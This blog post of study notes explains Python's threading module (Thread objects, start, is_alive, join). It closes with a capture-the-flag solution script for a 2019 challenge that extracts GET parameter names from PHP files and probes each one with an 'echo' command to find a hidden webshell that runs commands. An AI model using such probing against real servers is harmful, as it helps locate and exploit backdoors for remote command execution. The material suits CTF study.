Python-多线程的学习

本文最后更新于:1 年前

Python-多线程的学习/总结

Python-多线程的学习

简单学习一下多线程

线程的概念

线程,有时被称为轻量级进程(Lightweight Process,LWP),是程序执行流的最小单元。一个标准的线程由线程ID,当前指令指针(PC),寄存器集合和堆栈组成。另外,线程是进程中的一个实体,是被系统独立调度和分派的基本单位,线程自己不拥有系统资源,只拥有一点儿在运行中必不可少的资源,但它可与同属一个进程的其它线程共享进程所拥有的全部资源。

标准库—threading

import threading

Thread 对象

class threading.Thread(group=None, target=None, name=None, args=(), kwargs={}, *, daemon=None)

Thread 的构造方法中,最重要的参数是 target,所以我们需要将一个 callable 对象赋值给它,线程才能正常运行

callable 没有参数,如果需要传递参数的话,args 是固定参数,kwargs 是可变参数

如果要让一个 Thread 对象启动,调用它的 start() 方法就好了

例
def test():
    .......
thread = threading.Thread(target=test)
thread.start()

for i in range(5):
    print(i)

通过 thread.current_thread() 方法可以返回线程本身,然后就可以访问它的 name 属性

Thread 的生命周期

1.创建对象时,代表 Thread 内部被初始化
2.调用 start() 方法后,thread 会开始运行
3.thread 代码正常运行结束或者是遇到异常,线程会终止

可以通过 Thread 的 is_alive() 方法查询线程是否还在运行

值得注意的是,is_alive() 返回 True 的情况是 Thread 对象被正常初始化,start() 方法被调用,然后线程的代码还在正常运行

join() 提供线程阻塞手段

调用一个 Thread 的 join() 方法,可以阻塞自身所在的线程

def join(self, timeout=None):

默认的情况是,join() 会一直等待对应线程的结束,但可以通过参数赋值,等待规定的时间就好了

timeout 是一个浮点参数,单位是秒

[强网杯 2019]高明的黑客

import os
import re
import time
import requests
import threading

dirr = ''
files1 = os.listdir(dirr)                               # 获取文件夹下的文件
files2 = os.listdir(dirr)                               # 获取文件夹下的反序文件
files2.sort()
files2.reverse()
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')            # 设置正则匹配


def thread1(files, a):
    for i in files:                                     # 循环文件
        if a == 1:
            print("1111111----------------------", i)
        elif a == 2:
            print("2222222----------------------", i)
        url = ""                                          # url (docker适配的php版本)
        f1 = open(dirr + i)                             # 打开这个文件
        data = f1.read()                                # 读取文件内容
        f1.close()                                      # 关闭文件

        result = reg.findall(data)                      # 从文件内容中找到GET请求

        for j in result:                                # 循环GET参数
            payload = url + i + "?" + j + "=echo+123456"  # 尝试请求次路径,并执行命令
            print(payload)
            html = requests.get(payload)
            if "123456" in html.text:
                print("*****************************", payload)
                exit(1)


p1 = threading.Thread(target=thread1, args=(files1, 1))
p2 = threading.Thread(target=thread1, args=(files2, 2))
p1.start()
p2.start()

https://cloud.tencent.com/developer/article/1566226
https://blog.csdn.net/kellyseeme/article/details/51473552
https://www.cnblogs.com/fnng/p/3670789.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!